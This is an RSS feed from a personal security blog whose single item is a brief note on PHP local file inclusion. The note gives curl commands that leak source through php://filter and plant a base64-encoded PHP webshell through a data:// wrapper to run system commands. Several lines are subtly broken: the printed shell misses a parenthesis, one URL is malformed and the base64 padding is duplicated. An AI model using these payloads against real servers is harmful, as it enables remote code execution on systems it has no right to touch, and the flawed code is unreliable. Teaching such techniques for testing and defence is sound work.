<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Webshell on slightlymore</title><link>https://slightlymore.co.uk/tags/webshell/</link><description>Recent content in Webshell on slightlymore</description><generator>Hugo</generator><language>en-GB</language><copyright>&lt;a href="https://creativecommons.org/licenses/by/4.0/" target="_blank" rel="license"&gt;CC BY 4.0&lt;/a&gt; by Clinton Montague</copyright><lastBuildDate>Wed, 08 Apr 2026 12:36:28 +0100</lastBuildDate><atom:link href="https://slightlymore.co.uk/tags/webshell/index.xml" rel="self" type="application/rss+xml"/><item><title>Using PHP filters in local file inclusion</title><link>https://slightlymore.co.uk/using-php-filters-in-local-file-inclusion/</link><pubDate>Sat, 24 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/using-php-filters-in-local-file-inclusion/</guid><description>&lt;p&gt;Imagine a PHP file where you can perform LFI such as&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://example.com/vuln.php?lang&lt;span class="o"&gt;=&lt;/span&gt;en.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With a badly configured server and app you can use PHP read filters to get the full content&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://example.com/vuln.php?lang&lt;span class="o"&gt;=&lt;/span&gt;php://filter/read&lt;span class="o"&gt;=&lt;/span&gt;convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;en.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can get a webshell or RCE if &lt;code&gt;allow_url_include&lt;/code&gt; is enabled&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl http://example.com?vuln.php?lang=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==%3D%3D&amp;amp;cmd=whoami
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The shell is &lt;code&gt;&amp;lt;?php system($_GET['cmd'];&lt;/code&gt;&lt;/p&gt;</description></item></channel></rss>